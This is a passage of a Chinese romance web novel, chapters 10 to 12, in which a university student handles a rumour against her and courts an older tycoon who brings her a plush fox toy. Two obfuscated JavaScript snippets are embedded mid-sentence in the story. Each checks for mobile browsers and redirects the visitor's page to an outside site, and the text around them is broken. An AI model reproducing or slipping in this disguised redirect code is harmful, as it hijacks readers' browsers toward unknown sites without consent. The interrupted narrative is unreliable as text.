拿到证据后,几个室友一合计,几乎百分百确定了投稿人的身份。 郑意也打听到了表白墙的管理者私人联系方式,推给了舒怀瑾。 大家给她支招,“要不把证据链发学生会大群,让那狗东西直接社死,亏他还是外联部副部长呢,我呸!” 需要的证据已经收集完毕,舒怀瑾丝毫不着急,抿了口热水,“跟他在群里撕太便宜他了,大家看完热闹八卦一阵,转头就忘了,没什么讨论度和记忆,这种人得靠律师函治。” “明星经常发这东西,大家已经见怪不怪了,真能有威慑力吗?” 舒怀瑾打开电脑,将证据汇总,“对付学生足够了,而且我打算找红圈律所的知名律师,亲自找到当事人递送。” 她将东西压缩打包发过去,对郑意道:“就是还得麻烦我们百事通,帮忙找一份他们专业的课表,毕竟这个时机嘛,也是有讲究的。” 众人愣神几秒,反应过来她这招计谋的绝妙之处。 光是想想上课时突然被西装革履的知名律师打断,同学、教授朝他投以目光,然后得知他诽谤造谣的事,都觉得爽得要死。 一举两得,既从侧面坐实了舒怀瑾低调的身份,毕竟那可是京北红圈所,想请动红人专程跑一趟,必然不可能是普通人。 另一方面,这可比亲自下场撕体面得多。 郑意拍了拍胸脯,“课表而已,包的!” 忙完这一系列事件后,舒怀瑾发了条仅贺问洲可见的朋友圈。结果一整天过去,他依旧没有丝毫反应。难道是不刷朋友圈? 她想了会,决定换个思路。 [贺大佬,在吗在吗在吗] 贺问洲这个点竟然还没睡,回复她:[不在] 这人还挺傲娇。舒怀瑾嘴角不自觉地上扬,斟酌着措辞,[有件事我不敢跟我家里人说,我能请你帮我想想办法吗] 隔了几秒,他的消息弹出来,依旧是冷冰冰的文字。 [Hudson:你没有老师同学可以问?] 舒怀瑾打字速度飞快:[我就想咨询你] [Hudson:我的意思是,连家里人都不愿倾诉的事,找我一个不算太熟的陌生人,不太合适] 舒怀瑾看到消息磨得牙痒痒。 有的人口是心非,嘴上难攻略得要死,帮她的事却一件没少做。 挑了表白墙的截图发过去,舒怀瑾正在编辑文字,界面忽然弹出来语音电话。 贺问洲竟会主动给她打电话? 舒怀瑾跑到寝室阳台上,关好玻璃门,酝酿了通情绪才接。 静默到落针可闻的氛围里,是贺问洲先打破平静。 磁性醇厚的嗓音自听筒传来,“哭了?” 10. 暴雪夜 哭?她把始作俑者暴揍到跪下叫爸爸都不会哭。 不过这倒是个靠着苦肉计拉近距离的好机会。舒怀瑾腹诽完,想出了新的坏主意。她故意吸了吸鼻子,音调沾着浓重的鼻腔音,“没哭。” 贺问洲显然没哄过这个年纪的女孩子,“我怎么听到有人还在悄悄抹眼泪。” “哈?”舒怀瑾疑惑,“抹眼泪又没有声音,你怎么听到的……” “逗你的。”贺问洲压低了声,像是在哄她开心,“哭够了吗?” 混杂着一点电流的声音听起来格外冷磁,有着不属于他身上的细腻感。 舒怀瑾忽然更舍不得挂断电话,小心翼翼地问,“要是我说没哭够,你会哄我吗?” 贺问洲何其敏锐,只需要蛛丝马迹就能识破她演技的破绽,稍稍拉长语调,“装哭不算。” 他说话时的语气比平常温柔,舒怀瑾隔着距离都能想象出他此刻的姿态。大概正随性地坐在落地窗前,衣襟漫不经心地敞开稍许,气场冷冽如清雪,让人不敢轻易靠近。 想要捂热这样的一颗心,实属不容易。 舒怀瑾心念微动,索性放弃了装哭的腔调,“好吧,我承认,哭是假的,但我遇到的糟心事是真的。你就不能秉承着安慰我的原则,迁就我几秒吗?” 少女骄矜的话语再没了先前的谨慎,反而多了几分理所当然。 看她这副没心没肺的样子,哪里是被琐事困扰不敢告诉家人,不过是发现一个绝妙的借口,想以此来折腾他罢了。 贺问洲抬眼,望向窗外鳞次栉比的建筑,视线微沉,“舒怀瑾。” 听见他唤自己全名,舒怀瑾眼皮跳了下,没应。 “把我当成你哥使了?”尽管贺问洲的语气听起来有些不近人情,却含着纵容的意味。 舒怀瑾在这样的试探下,胆子大了起来,哼声:“我对你可比对我哥的态度好几百倍。” 贺问洲:“听这语气,我还挺幸运。” 舒怀瑾立马接话,“对啊。你要好好珍惜这段时光,等以后我们熟了……” 你也得变成任我指挥的小奴隶。 剩下半句她没说,轻哼了声盖过。 言下之意是,她和他之间的关系还停留在普通层面,至于怎样界定,彼此心知肚明。 正如贺问洲先前强调无数次的那样,舒怀瑾也在反过来点他。 总裁办公室内,秘书轻扣玻璃门边,提醒他到了启程的时间。贺问洲抬手表示知道了,曲指在桌面轻点,摩挲着尚未点燃的一支烟。 抛出去的石子未必每次都能激起涟漪,舒怀瑾见他没回答,仔细聆听着对面的动静。口吻随意地问,“贺大佬,你在公司啊?” “嗯。”贺问洲淡声道,转而想起发生这么大的事,她一个人未必能处理好,“你在寝室?” 舒怀瑾余光落向正在各忙各的室友,避而不答,“问这个对开导我有什么用处吗?” 贺问洲就这么被她难住了。 她还是学生的身份,舆论周围的看客也是学生,寝室关系对于剩下几年的大学生涯还是挺重要的,要是这个时候身边有人,多少还能陪伴她。 可若是承认,以她古灵精怪的个性,必然会以此为论据来反诈他。 贺问洲静水流深地答,“没有。只是作为兄长的过来人建议,发生这种事以后,尽量少独处。” 舒怀瑾声音闷闷的,“哦,意思是哭也不能一个人哭,要当着别人的面哭。” “……”贺问洲折了那支烟,裹挟着烟草气息的指腹揉了揉眉心,“难过解决不了任何问题,最重要的是冷静下来,通过事件分析,哪些人是虚情假意,哪些朋友值得信任,筛选掉没必要的圈子。” 他尽可能借着她经历的实例将经验告诉她,却忽略了她想要的情绪价值。 舒怀瑾瘪嘴,温吞的话语里含了些许委屈,“我以为你会安慰我。” 贺问洲迟凝片刻,“找我的目的就这么简单?” “不然呢?”舒怀瑾很想吐槽,她卖惨卖得这么明显了,他居然看不出来?到底是谁迟钝啊。 贺问洲习惯了被人索取权利,思维模式已然固化。陡然遇到只要他一句轻声安慰的小姑娘,一时有些感慨。 “不愿意就算了……”舒怀瑾给自己找了个台阶。 “造谣的人叫什么名字?”贺问洲冷不丁地问。 舒怀瑾支支吾吾半天,还是告诉了他。不过她隐瞒了自己的计划,反正到目前为止,只是拿到了证据,并不算真正解决了问题。 “好。”贺问洲目光落向出现在门外的助理一行人,再晚就要耽搁行程了。“我还有事,晚上聊。” 见他就要挂断电话,舒怀瑾咕哝着,“谁知道晚上你会不会又变高冷。” 贺问洲就没见过黏糊劲这么强的女孩子。 跟小尾巴似的,甩不掉。 “不会。”话语带着他自己都没有察觉的笃定。 通话结束后,舒怀瑾心情特别好,哼着歌回到上床下桌的座位,改为给他发消息。 [你刚才说的话要算数哈,不然我可是会记仇的] 几分钟过后,她收到了他的回复。 [行,晚上安慰你] 事实上,舒怀瑾并不觉得贺问洲能有时间赴这个约。不过没关系,她又不会傻等着。同赵律师沟通完细节后,发小群里在京北的都在艾特她。 自从开学后,舒怀瑾忙着军训,适应大学生活,还没怎么跟她们聚过。 平时在群里有一搭没一搭的聊天,这次她无缘无故被泼了这么盆脏水,大家自然看不下去,想为她打抱不平。 她们常去的秘密基地是一家清吧,走的是高端会员制路线,环境私密,不用担心隔墙有耳。 舒怀瑾从学校打车赶过来,是最后一个到的。 桌上摆了几个当下火爆的桌游,果盘、奶茶已经点好了,调酒师正在调制符合她们口味的甜酒。 程煜见到她,非常有眼力见地站起身,将吸管插好递给她,动作熟练,没有同吸管有任何实质性的接触,俨然是对舒怀瑾莫名其妙的洁癖烂熟于心。 “程煜这个重友轻友的家伙,刚才让他给我递根吸管都不愿意,小瑾一来,立马变成贴心狗腿子了。”说话的人姓杨,跟程煜关系最好,调侃的话自然毒,“程少爷,下次能不能也让我体验下这个待遇?” 程煜没理他,“奶茶没你的份?” 杨公子不以为然,“要不是小瑾点名了要喝,你能让我蹭上?偏心得未免也太明显了。” “滚一边去。”程煜不客气,“大男人说这种话也不嫌养胃。” 另外三个女孩正在玩牌,给舒怀瑾让出位置,让她观战。 大家调侃:“你俩要卖腐出去卖,别在包厢里嚷嚷,说出去难道光彩吗?” 程煜浑身起了层鸡皮疙瘩,“我性取向正常。” 杨公子笑:“程少早就心有所属了。” 舒怀瑾观察完战局,指导身旁的宋阮,“出这张。” 宋阮毫不犹豫地打了出去,得意洋洋,“各位,不好意思,军师来了,接下来我要大杀四方了。” 反应过来的人好奇道:“不是吧?程煜喜欢谁?” 杨公子挨了程煜几计眼刃,意味深长,“暂时保密。” 明眼人都看得出来的东西,自然没人接话,舒怀瑾用吸管戳着沉在杯底的小料,开玩笑说:“未成年禁止早恋。” “我靠,你们不说我差点忘了程少还没成年。” “带未成年人出入酒吧,真是罪过罪过。”朋友说,“程煜,你左转出门好了,就当给我们积功德。” 程煜算了服了这群狐朋狗友似的发小,任由她们打趣完,坐在舒怀瑾身侧,欲言又止地关怀道:“你被造谣的事,需不需要我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626962|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙?” 舒怀瑾没觉得这事有啥需要他帮的。 宋阮说出了她的心声:“小瑾不想让舒宴清知道,你要是动用你家的人脉,还怎么瞒住他?” 平心而论,他们这些公子哥是有人脉,但基本受制于家里,别人肯因为他一句话而帮忙,给的是程家的面子,而不是程家少爷的面子。他年纪尚小,没有实权,顶多算个有点钱的富二代。 程煜抿了下唇,忽然滋生出一股自己很没用的挫败感。 “我去把他打一顿,给她出气。” “不是吧,什么年代了,你当混□□啊,光想着用拳头解决问题。”宋阮反问,“打一顿,心里是爽了,后面你又怎么办?不说人家报警揪出你的身份,在这个节骨眼上打人,她还怎么走法律途径?” “你让看客怎么想?说舒怀瑾用暴力恐吓,权势压人。” “还有,你猜别人会怎么揣测你和小瑾的关系。”宋阮原本不想点醒的,但程煜这份喜欢的确有些幼稚,“万一小瑾以后还想谈校园恋爱,你这不是给人添乱吗?” 连番的发问落地,程煜脸色白了不少,“我确实考虑不周。” 另外几人缓和气氛,“过过嘴瘾而已嘛。要我说,这种人就该把他的照片公之于众,发布在网上。” “我还是觉得揣他用来思考的下半身几脚比较过瘾。” 大家七嘴八舌地用嘴炮的方式来化解。 舒怀瑾见发小们这么维护自己,对这件事不爽的情绪也散了不少,加入了桌游阵营。一行人就说说笑笑,同往常的聚会没什么两样,唯有程煜一言不发。后半场,众人喝了点鸡尾酒,程煜没有加入,余光不时落向中心的舒怀瑾。 她明媚耀眼,沉着松弛,似乎真的不需要他。 宋阮家里有门禁,玩到九点的时候,先行回家了。其他几人又凑了一局,舒怀瑾去卫生间的功夫,才发现忘了将静音调成响铃模式,错过了贺问洲取消两次的电话。 微信通话记录相隔一个小时,他能够连续打两次,还是挺超乎舒怀瑾意料的。 她不疾不徐地拨通回去。 贺问洲那端声音寂静,发动机高速运作的微噪声很浅,大概率是正在返程的路上。 舒怀瑾刚才喝了一点威士忌,自然比往常大胆些,开口直呼他名字。 “贺问洲,你怎么才想起我……” “才?”贺问洲低沉的嗓音拂过耳畔,“我一个小时前,给你打过电话,你没接。” 她那会正在专心玩桌游,哪有空分神看手机。当然,把他抛在九霄云外也是无可否认的事实。 舒怀瑾自知心虚,软声解释,“手机静音了,见谅见谅。” 不过这心虚劲没维持几秒,旋即调转话锋,成了埋怨,“不过语音安慰也太没诚意了,京北不大,你又不是美国总统,想见你一面却比登天还难。” 少女那端不知什么缘故,每一个字都沾着糯意,软绵绵地像是撒娇。如同一根毛茸茸的猫尾巴,轻勾着,在他胸口挠了那么一下,旋即调皮地卷蜷着。 贺问洲轻咳一声,将浮乱的心思压下,“喝酒了?” 舒怀瑾的酒量,说好不好,说差不差,今晚这点酒,远不到说胡话的程度。 她思忖了几秒,很乖地低应了半个音节。 贺问洲眉心轻折,“一个人?” 就是这么句暗含不虞的问句,让舒怀瑾抓住了拿捏贺问洲的关键突破口,她装作悻悻然地说:“反正你又不会来陪我,一个人和几个人没什么区别。” 贺问洲的耐心似是在下午陪她通话时已然告罄,没再和她拉扯,沉声留下一句,“地址发我。” 随后挂断了通话。 舒怀瑾看向两人寥寥无几的聊天记录,基本都是她在主动,通常发几条,他才会隔几天回一条。 而在这三十秒的通话里,竟有一半时间都是在等她回答。 11. 暴雪夜 舒怀瑾回到包厢后,发小们也差不多玩到尽兴,跟她打了招呼后,陆续散去。 程煜还在,她随口一问,“你待会还要转场?” 侍应生对包厢里的人微微颔首,训练有素地收拾着桌面。 程煜没喝酒,又不爱参与桥牌,举着麦唱了一晚上,这会正百无聊赖地翻着歌单。 舒怀瑾总算将目光放在他身上,有点不好意思地挠了挠头,“她们都回去了,我一个人还能怎么转。倒是你,这么晚了打车不方便,一会我送你。” 程煜身份证上的年龄比实际大几个月,他趁着高考完的暑假考了驾照,提了辆奥迪A8,发小们开玩笑,说狗都不坐未成年的车。 发小们爱嘴上逗趣,损起自己人来照样没边。 舒怀瑾往沙发上一坐,挑了几个空酒瓶留着,打算待会用来装样子。 “我还有约,不确定什么时候回去。” 程煜面上涌过几分失落,很想直接问出口,却又碍于没有底气,只好装作浑不在意地打趣,“新朋友?带过来一起认识呗。” 桌上留了六个空酒瓶,舒怀瑾扶着一瓶倾倒在桌面,“是贺问洲。” 最不想听到的答案摆在明面上,程煜表情复杂,亦步亦趋地凑上去,由着她指挥布置现场,欲言又止道:“你跟他之间的关系已经到这步了?” 闻言,舒怀瑾动作一顿,不是很明白程煜的意思。 “哪步?你是说朋友?还在努力推近距离,他这人油盐不进,比我玩过的所有游戏都难攻略。” 真要说的话,最多算点头之交。 舒怀瑾抿唇,“感情的事不能着急,有消息我会告诉大家的。都是朋友,没必要藏着掖着。” “他快三十了,还没谈过恋爱,自己肯定有很多问题。”程煜不时给她递东西,观察着她的表情,“大家都说前人栽树后人乘凉,他这种没人栽的,相处起来不得累死?” 舒怀瑾拍拍手,“栽树也有乐趣,你不懂。” “我这边弄好了,你要留下也行,待会记得见机行事。” 程煜没说什么,算是默认了她的说辞。他倒想看看,贺问洲那个装货有什么吸引她的。 十几分钟后,舒怀瑾终于等来了贺问洲的电话。 “是你下楼,还是我上来接?” 贺问洲低磁的声音自听筒里传来,程煜也听到了,不爽地皱眉。像是在说,他态度这么差你也能忍? 舒怀瑾比了个嘘声的动作,将手机拿远了些,佯装信号很差,“我听不清……你说什么?什么来福?” 对面似是看穿她的把戏,慢悠悠地说:“既然信号不好我就先挂了。” “别挂别挂。”舒怀瑾急忙道,“我在十六楼左转的最后一个包厢,你报我名字,服务员会带你过来的,贺大佬别走错了。” 贺问洲:“这会又有信号了?” 舒怀瑾抿着唇笑,没应声。 在这寸土寸金的地界里的酒吧,环境清雅,包厢不仅宽敞,侧面还有个挑高大露台,繁复的水晶灯如瀑布般倾斜而下。 挺会挑地方。 她安静地坐在弧形沙发上,修长的双腿半搭着,垂眸划动着手机屏幕。 颈侧的皮肤白若凝脂,未着任何首饰。 同他对上目光后,眼眸溢出澄亮,“贺大佬!” 醉?他看她清明得很。 贺问洲自然注意到了角落里的少年,眸光透着稚嫩的凶戾,像还在襁褓里的豹子,不知天高地厚地将天敌当成猎物。 可惜这块领地于过尽千帆的他来说,不过尔尔,他无心争抢。 贺问洲审视的视线自桌面扫过,最后落回舒怀瑾身上,“你们俩喝的?” 程煜替她解释:“我开了车。” 总共就两个人,酒瓶是谁留下的,自然不言而喻。贺问洲淡扫他一眼,语气轻哂:“小姑娘一个人喝六瓶烈酒,什么钢筋铁胃经得住这样折腾。” 舒怀瑾见装过头了,立马坐直身子,“我天赋异禀不行吗?” 闻言,贺问洲不经意抬了下眼皮,“酒瓶群落创造得不错,挺有艺术细胞,还知道制造视觉错落感。” 摆这么精致,当然是为了给他拍照。每一处构图细节都藏着心机,包括露出来的小半截手指。 “你都看出来了,你还上来……”舒怀瑾不露声色地将音调压低,一双盈盈的眼望着他。 她诡计多端也就算了,被他看破也丝毫不慌,反倒将责任抛回来,贺问洲想不接招都难。 他低眸,睨向她的目光多了一丝探究。 本以为是一眼就能洞穿的白纸,才敢毫无防备地陪她玩闹。殊不知隔岸观火亦烧身,再镇定的人,也会败于疏忽。 正如贺问洲自己也不清楚舒怀瑾到底拿他当什么一样。 勾着他,钓着他,偶尔使些显而易见的小手段,让他产生模糊的错觉。 偏又带着另一个男人,好似先前给他的真的只是错觉。 她自始至终只将他放在兄长的位置,仅此而已。 贺问洲收回恍然一瞬的神思,深隽的面容看不出丝毫被冒犯的情绪,“我看你该打电话求助的人是舒宴清,正好让他挖掘你超乎常人的天赋,最好给李白磕几个响头,让他大发慈悲,把酒仙的名号让给你当。” 好毒的一张嘴。 舒怀瑾噎了下,“难怪你和我哥能玩到一起。” “是,都得给你收拾烂摊子。”贺问洲慢声说,“区别是我这里属于天降横祸,平白多了个没有血缘关系的妹妹。” 舒怀瑾切了声,厚着脸皮纠正,“分明是天降福星。” 贺问洲轻笑,懒得同她争论。眉眼里含着难以察觉的宠溺。 两人这一来一回的对话看似为各自端正了位置,在程煜眼里,却总觉得隐含不对劲,具体在哪他也说不上来。只记得他跟着长辈在少有的几个场合中认识的贺问洲截然不同。 印象里,贺问洲不苟言笑,所出席的场合里,也鲜少有人敢攀附。 程煜专注地琢磨着,贺问洲已然起身,递了张卡出去。舒怀瑾没见过这种黑金版的稀有卡,左右端详着,欣赏完了又还给他。 她面上平静,唇角的弧度却不自觉地翘起来。忍不住小小幻视了下他上交工资的场面,快被甜死了。好吧,大佬哪有工资卡,全是各种需要公证的天价资产。一下子又被拉回了现实。 贺问洲:“不买单打算在这里打工还债?” “我朋友早就付了。”舒怀瑾对上他若有所思的视线,“我们AA的,你别多想。” 才不是他以为的塑料友情。再说了,要坑也是光明正大地坑,谁会默认最后离开的人买单这种伤感情的傻逼规则。 贺问洲来去匆忙,没有半点想在这里待的意思,苦肉计以失败告终。 舒怀瑾跟着他乘坐电梯来到楼下,还在思考怎么拖长相处的时间。 哪知他等泊车员将车开出来后,看了眼腕表,他随身携带的助理见状,躬身为他点燃雪茄,恭敬地递上去。烟雾缭绕间,远如天上月的冷冽感再度浮现,将她拉回了初见他时难以靠近的暴雪夜。 “不是说抽烟致癌?”舒怀瑾欣赏着他指骨的寸寸筋络,他站在原地,身形落拓温贵,无端给人一种自纸醉金迷里厮杀出来的清孑感。 他这样的男人,倘若不是因为她家里的关系,恐怕根本不会纡尊降贵地为她浪费光阴。 贺问洲反握着雪茄,点到即止地抽了一点,便让助理剪断。 好似全然不受任何瘾症所控。 “用不着再提醒我一遍。”贺问洲说话时,那点烟雾很快散尽寒夜里,嗓音不可抑制地低哑着,“大不了,以后你在我墓碑上刻下这行字。” 舒怀瑾还没到生死看淡的年纪,不懂他坦然说出这句话时的从容,只觉得胸口有些发闷,“你就比我大十岁多一点点,不至于黑发人送白发人吧。” 这句玩笑话一点也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626963|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不幽默,贺问洲抿着薄唇,眼底的沉重和戮然消散不少,浑浊的眸光眺向眼前人。 “生老病死,本就难以自控,五岁一个光景。” 贺问洲稍顿,雪茄的后劲从肺部深处漫出来,如同一针镇定剂。他收敛神色,恢复了往日不近人情的淡漠,“十一岁,犹如天堑。” 舒怀瑾隐约察觉到哪句话触动了他的心结,但贺问洲树起的高墙实在是太过坚固,不肯让窥探之人靠近半分。 哪怕是同他关系交好的舒宴清,也只知道他自小在东南亚边境长大,后来白手起家的资源里,有不少家族人脉的助力。 至于具体落到实处的故事,早已淹没在外界的猜测中。 媒体不敢深挖,将他背后烘托成亦正亦邪的力量。 大佬嘛,谁敢说谁一身清白。 程煜今晚非常有眼力见,驱车路过他们身边时,打着双闪,示意他先行离开了,旋即汇入车流中。 舒怀瑾挥手,跟程煜道完再见,用那双灵动的眸子巴巴地望着贺问洲,没忘记诓骗他过来的借口。 “你之前说了要安慰我……” 宾利最后排摆着个超大的琳娜贝尔玩偶,还是今年的抽签款,仅限大陆入园的游客抽取,据说特别难中,网上价格都快炒疯了。 舒怀瑾在社交平台收了两次,到后的都是高仿品,气得她连发两条朋友圈。新鲜劲过去后,她已经很久没有关注过了。 直到刚才透过车窗,看清他准备的礼物。 贺问洲的确不哄怎么哄小姑娘,但至少不会空着手去,兴师动众地派人抽了无数次签,买到玩偶后,专程空运回来,辗转了几个小时,才抵达京北。 见她有人陪着,心情也不差的样子,原本是没打算送出去的。 如今被她撞见,倒是没必要再藏着。 “刚才安慰得还不够?”贺问洲声音温沉。 舒怀瑾默了一会,“刚坐下就开始阴阳怪气,话没说几句就要走,算哪门子安慰。” “哭是假哭,酒是假喝。”贺问洲不疾不徐,留了半句没说。 再跟他相处下去,她真的要拿出死缠烂打的本事了。 只见上一秒还怂里怂气的小姑娘,眼里费劲挤出几缕湿雾,鼻尖一吸,大有转瞬就要哭出来的架势。这套连招不知道用过多少次,连怎样的表情能让人心软都计算过,眼泪将落未落的,也不说话,就这么垮着脸可怜兮兮地望着他。 眼泪就是她最好的利器,哪怕他明知这眼泪是假的,还是无法保持冷淡。 他颇为无奈地蹙了下眉,“好了,以后别用这招。东西是才买回来的,没洗过,别往脸上蹭,不干净——” 话音未落,她已经喜滋滋地抱上了玩偶,亲昵地好像失散多年的宝贝似的。 贺问洲就多余叮嘱。 他手掌落回裤袋,在原地注视了她一会,后知后觉发现自己也染上跟舒宴清一样的絮叨毛病。助理喻尧踱步上前,询问老板的意思,“贺总,舒小姐还是坐后面那辆车吗?” 喻尧跟在他身边多年,知晓他不受道德绑架,加上存在些许精神洁癖,从不肯屈尊跟人一道。 上次送完舒小姐,车辆从里到外进行了清洗消毒,连车内循环系统也不放过。 下午买这个玩偶虽然离谱又麻烦,好歹只是老板动动手指头命令的功夫,不需要耗费太多心神。 帮朋友照顾妹妹到这个程度,应该差不多快到老板的忍耐极限了。 不过身为助理,伴君如伴虎,还是得再确认一下。 闻言,贺问洲视线落点未变,望着车内的人,“你看她那样子,是你能请得动的?” 喻尧琢磨不透这句话,只能按照常规思路分析,“贺总放心,您交代的任务,就算请不动,还有别的办法。” 贺问洲漫不经心地收回视线,用温淡无波的语气说着让人脊背发凉的话。 “把小姑娘惹急了要记仇,是算在你头上,还是我这里?” 12. 暴雪夜 舒怀瑾还沉浸在对贺问洲‘开窍’的意外之喜中,注意力重新落回贺问洲身上时,他同他助理的对话已然结束。 她只依稀捕捉到了记仇两个字,别的没听清。 大概是为了来接她,特地安排的商务车,空间宽敞,两人前后排相继而坐,也能保持极好的社交距离。换句话说,他今日一再破例的这些行径,都可以用照顾领好友的妹妹来解释。 这种滴水不漏的做事风格,和舒宴清很像。 不,应该说,舒宴清为人处世的习惯,有许多都是从贺问洲身上学来的。 他们俩的关系,用亦师亦友来形容比较贴切。 贺问洲落座之后,淡扫了眼嘴角翘着乖软弧度的舒怀瑾,“喜欢么?” 舒怀瑾得寸进尺,既然上了车,就没打算下去,如实评价:“比网上刷到的图好看。” “每个公仔的开脸程度不同,同样的款式,有的粗看还行,细看就觉得尖嘴猴腮的,哪里都很奇怪。” 贺问洲本无意陪她闲聊说话,奈何小姑娘自来熟,引入的话题恰好是他从未涉猎过的部分。 于是难得有闲散的心情,清清淡淡地回:“怎么才能看出来?” “不好说,纯靠感觉,买多了自然就能区分了。” 舒怀瑾没想到他对这个感兴趣,“你看这个玲娜贝儿的整体面部非常和谐,五官的位置和漫画比例相近,眼瞳的玻璃透感很强,开脸就显得很甜。” 贺问洲依照着她相授的方法,在狐狸玩偶上一寸寸挪动视线。 粉色的大尾巴,毛茸茸的耳朵上还做了几撮米白色的聪明毛,服饰上的蕾丝细节做工精致,整体看着就是只漂亮的小狐狸。 舒怀瑾见他认真地打量着,往他的方向凑过去,期艾的目光流转,“是不是很甜?” 比少女更先靠近的,是来自她身上的草莓甜香,混杂着一点威士忌的味道,如同一缕风般席卷而来。 包厢里的奶油巧克力的草莓被她消灭了大半,临走前,或许是觉得浪费,她又拿了两个塞进嘴里,将唇瓣染得嫣红透亮。 甜到让车里都全是她的气息。 贺问洲想不通她怎么会这么喜欢甜到流汁的草莓,如同他不理解小狐狸玩偶为什么会叫琳娜贝尔一样。 他不动声色向后靠了点,即便如此,也未能改变呼吸交融的事实。 她似乎格外热衷于向人安利,奶栗色的瞳孔闪着细碎的光,长睫扑簌簌颤动,本就清软的五官在冷调的光线里更显明艳,让人一时难以分清,她和怀里的玩偶,到底谁才是真正的小狐狸。 “是还不错。” 贺问洲惜字如金,没再给出多余的回应。他松了松领带,不过碍于她还在场,并未解下,就那么任由深蓝色领结悬于喉结下方,衬衣领口依旧一丝不苟地系着。 本是不愿拉近距离的举动,却勾起了舒怀瑾的色心。 禁欲系比高露肤度的穿搭更苏、更欲。 舒怀瑾以纯粹欣赏的目光在他微曲的指骨上停留。 不愧是将近一米九的男人,骨掌生得宽大,关节处恰到好处的嶙峋感将张力拉满,掌背凸起的青筋更是涩到了极点。 面对她如此越界的打量,贺问洲似是已经习惯,并未出声阻止。来电铃声响起时,贺问洲微不可见地怔然了瞬,侧目对后排安静的人道,“我接个电话。” 舒怀瑾一时莫名,长睫颤了颤,“这是在向我报备吗?” 他接听电话与否,什么时候会征求她的意见了。 “这么想占我便宜?见缝插针地给我下套。”贺问洲眉骨轻抬,语气透着不易察觉的纵容,同她解释,“舒宴清打来的。” 被轻斥一番后,舒怀瑾心情反倒更好,比了个缝住嘴巴的动作。 在瞒着舒宴清的事上,她一向配合。 两个距离不算远,舒宴清的声音自听筒里传来,“问洲,能不能帮我个忙?” 贺问洲:“你说。” “我家里人又在催婚了,问我有没在跟适龄的女生接触,我随口编了个,说是你介绍的,要是他们问起来,记得帮我圆谎。” 类似的战火经常往舒宴清那烧,每回他都找理由敷衍过去,可惜越到后面越不管用,这次架势来势汹汹,舒宴清濒临溃败。 贺问洲讽笑一声,“回头舒伯父和伯母从我这里打听,我上哪给你编去?” “月月催,天天问,我这不是没办法了才来找你……”舒宴清叹气,“他们顾念着你对舒家的帮援,应该不会打扰你。” 贺问洲同舒家的关系还算融洽,逢年过节虽没有上门拜访,该备的礼物和祝福还是照常送上,偶尔天气降温,也会收到两位长辈提醒多加衣物的关怀。 事情既已发生,贺问洲只能揉着眉心应下。 电话挂断后,舒怀瑾托着腮,为他打抱不平,“我哥也太坑了!虚构一个没见过的人多难啊!自己应付不了催婚的战火,光知道拉你下水。” 她说得义愤填膺,古灵精怪的表情分外灵动,好像下一秒就要冲过去找她哥理论似的。 贺问洲熄灭屏幕,先不计较她偷听他电话内容的事,“你们俩兄妹,一个比一个坑。” 说及此,他稍作停顿,加重字音,“尤其是舒怀瑾,简直是绝世天坑。” 舒怀瑾一脸无辜地说:“我哪坑你了?我可是五讲四美好青年。” “也是。”贺问洲轻敛双目,语调闲闲地说,“天坑一般不会标明自身,而是将人骗进去杀。” 天坑专业,把人骗进去杀。舒怀瑾是专业天坑,追在贺问洲身后杀。 没什么本质区别。 这么看,追贺问洲还有点损功德呢? 两人拌嘴似的对话没持续多久,舒母倒真打来了电话,先同他聊了前几日难得一见的暴雪,嘱咐贺问洲记得添加衣物。 贺问洲颇有礼貌地应着,说最近工作太忙,改日有空再去看望他们。 成年人之间的嘘寒问暖结束后,话题才辗转落回舒宴清身上。 在舒母一个接一个的问题轰炸之下,贺问洲沉稳地应对着。 总算熬过这关,见舒怀瑾那双乌眸闪烁着八卦的光,他索性不再顾及,将领带解下来,随意在掌心缠紧后,置于旁边的皮质储物台中。 “贺大佬,你家里人催婚吗?” 按他的年纪,应该比她们家催得急。舒怀瑾承认自己的占有欲有点强,人家对她什么态度还不明晰,就开始打听他有没有加过别的有意向的女孩子的微信。 要是有的话,她应该会很酸…… 贺问洲水波不兴:“不催。” “啊?那总会催你恋爱吧?”她暗自忖度着其中的阻力。 “客观条件不允许。” 客观条件? 舒怀瑾脑子转得飞快,踟蹰半晌,小心翼翼地问:“我可以问你一个不太方便的问题吗?” 贺问洲大半张沉在暗影里,看她那副脸颊绯红的模样,猜想多半不是什么正经问题。 “知道不方便,还问?” 舒怀瑾抿了抿唇,故意逢迎:“这对我来说很重要……” 她话音未落,贺问洲便虚眯着眼扫过来,带着股上位者的压迫感。她那些弯弯绕绕的少女心思,一下子散尽了。 静谧的氛围持续了半晌,久到抵达她的公寓楼下,她再怎么磨蹭,也得下车。这辆车像极了南瓜马车,到了指定的时段,她们之间的关系就会回到原点。 她捏提着帆布包,等着贺问洲将那个超大的玩偶抱下来。 其实自己完全拿得下,就是想麻烦他。 西裤包裹的修长双腿率先迈下,再往上,是峻拔冷肃的身形,贺问洲漆黑眼底压了些许无奈,“小瑾,不是所有人都像你一样,家庭圆满。” 舒怀瑾静了几秒,旋即意识到,他先前藏拙的回答是什么意思。 她诚挚地同他道歉,“对不起,我不知道你……刚才没想到那去,冒犯了你,真的很抱歉。” 要是早知道他的身世秘辛,她肯定不会在他的伤口上撒盐。 